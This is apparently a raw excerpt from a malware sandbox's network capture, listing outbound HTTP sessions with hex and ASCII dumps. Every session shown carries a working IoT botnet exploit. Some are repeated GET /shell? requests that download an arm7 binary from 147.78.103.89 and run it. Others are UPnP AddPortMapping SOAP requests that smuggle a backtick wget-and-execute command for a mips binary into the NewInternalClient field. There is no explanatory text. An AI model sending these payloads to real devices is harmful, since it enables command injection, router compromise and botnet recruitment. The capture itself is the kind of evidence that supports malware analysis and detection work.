                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      140192.168.2.15371325.209.212.215501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:31.101454973 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:28:34.104080915 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:28:40.247827053 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:28:52.279547930 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:29:16.854836941 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      141192.168.2.154613845.207.136.19252869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:33.834592104 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:35.383971930 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:37.239924908 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:41.015960932 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:48.439724922 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:03.287183046 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
